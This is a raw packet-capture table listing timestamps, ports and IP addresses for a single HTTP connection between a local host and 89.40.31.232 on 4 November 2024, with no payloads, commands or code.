Nov 4, 2024 16:52:37.646047115 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.646087885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646095037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646106958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646122932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646130085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646131992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.646135092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646142006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646147013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.646147966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646156073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646161079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646169901 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.646184921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.646217108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.663907051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.663919926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.663985968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.674654961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674676895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674694061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674700022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674706936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674711943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674734116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674740076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674752951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674757957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674763918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674772978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674771070 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.674834013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.674834967 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.674860001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674865961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674879074 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.674926043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675010920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675018072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675029039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675035954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675052881 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675070047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675075054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675079107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675082922 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675086021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675097942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675106049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675112009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675122976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675170898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675173998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675179958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675185919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675192118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675199032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675205946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675230980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675276041 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675355911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675363064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675380945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675389051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675395012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675400972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675412893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675414085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675420046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675434113 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675441027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675445080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675472021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675477982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675483942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675486088 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675486088 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675525904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675533056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675542116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675544977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675600052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675702095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675708055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675719976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675725937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675730944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675741911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675750017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675771952 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675795078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675795078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675880909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675889015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675900936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675908089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675914049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675920010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675932884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675937891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675949097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675955057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675961971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675967932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675968885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675968885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.675973892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675981045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675987959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.675997972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676017046 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676038980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676085949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676158905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676165104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676177025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676182032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676187992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676193953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676204920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676212072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676259041 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676259041 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676315069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676321983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676326036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676327944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676335096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676341057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676347017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676354885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676409006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676409006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676435947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676443100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676454067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676460028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676465988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676467896 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676471949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676477909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676481962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676484108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676496029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676501989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676512957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676559925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676559925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676631927 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676690102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676696062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676707029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676712990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676719904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676733017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676738977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676774979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676805019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676811934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676815987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676815987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676817894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676824093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676830053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676836967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676846981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676853895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676857948 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676860094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676872969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.676881075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676912069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.676912069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677088022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677093983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677104950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677119017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677125931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677138090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677144051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677146912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677150965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677162886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677169085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677170992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677212000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677212000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677233934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677239895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677251101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677257061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677308083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677308083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677386045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677392960 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677405119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677412033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677417040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677423000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677434921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677440882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677445889 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677447081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677453041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677463055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677485943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677511930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677530050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677536964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677547932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677591085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677723885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677731037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677742004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677747965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677753925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677762032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677772999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677778959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677783966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677794933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677795887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677803040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677820921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677825928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677833080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677836895 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677838087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677845001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677849054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677850008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677858114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677864075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677874088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677880049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677886009 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677891970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677903891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677910089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.677916050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.677916050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678076029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678086996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678092957 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678188086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678230047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678239107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678257942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678263903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678275108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678281069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678286076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678292990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678299904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678370953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678370953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678381920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678388119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678400993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678406000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678415060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678423882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678441048 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678522110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678574085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678580999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678589106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678606033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678611994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678622961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678628922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678642035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678647995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678653955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678661108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678664923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678664923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678673029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678678989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678684950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678690910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678700924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678700924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678703070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678709030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678716898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678730011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678735971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678741932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678742886 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678797960 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678797960 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.678925991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.678988934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679039001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679050922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679069996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679075956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679088116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679094076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679097891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679100037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679107904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679121017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679126024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679130077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679133892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679158926 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679172039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679709911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679717064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679728985 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679735899 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.679802895 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.679802895 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.680752039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680759907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680773020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680819035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680824041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680835962 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680844069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.680857897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680865049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680876017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680882931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680887938 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.680896997 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.680911064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.680948973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681076050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681087971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681094885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681128025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681133986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681144953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681150913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.681159019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.681159019 CET	59474	80	192.168.2.6	89.40.31.232
